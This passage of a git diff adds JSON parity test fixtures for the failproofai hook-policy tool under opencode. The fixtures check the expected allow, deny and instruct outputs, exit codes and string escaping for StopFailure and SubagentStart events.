&a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/StopFailure/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/StopFailure/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..1530fc4b --- /dev/null +++ b/__tests__/parity/fixtures/opencode/StopFailure/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"StopFailure\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/StopFailure/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/StopFailure/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..3d10f52b --- /dev/null +++ b/__tests__/parity/fixtures/opencode/StopFailure/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"StopFailure\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/StopFailure/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/StopFailure/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..59fcf7ed --- /dev/null +++ b/__tests__/parity/fixtures/opencode/StopFailure/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"StopFailure\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/SubagentStart/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/SubagentStart/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..855bae15 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SubagentStart/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/SubagentStart/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/SubagentStart/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..cf08f635 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SubagentStart/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/SubagentStart/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/SubagentStart/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..540b1782 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SubagentStart/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/SubagentStart/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/SubagentStart/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..ec50f1ce --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SubagentStart/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/SubagentStart/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/SubagentStart/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..8b085b2c --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SubagentStart/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/SubagentStart/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/SubagentStart/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..9081ec5d --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SubagentStart/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/SubagentStart/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/SubagentStart/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..80e438f3 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SubagentStart/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/SubagentStart/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/SubagentStart/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..8592f5a2 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SubagentStart/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/SubagentStart/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/SubagentStart/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..946d14c5 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SubagentStart/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/SubagentStart/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/SubagentStart/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..3c72da50 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SubagentStart/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/SubagentStart/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/SubagentStart/deny__tool-present__one-policy.json new file mode 100644 index 00000000..381b7d7a --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SubagentStart/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/SubagentStart/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/SubagentStart/deny__tool-present__two-policies.json new file mode 100644 index 00000000..619aacf8 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SubagentStart/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/SubagentStart/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/SubagentStart/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..27f83547 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SubagentStart/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SubagentStart\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/SubagentStart/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/SubagentStart/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..f5222f30 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SubagentStart/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SubagentStart\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/SubagentStart/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/SubagentStart/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..fb2ded60 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SubagentStart/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SubagentStart\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/SubagentStart/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/SubagentStart/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..349bcf47 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SubagentStart/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + 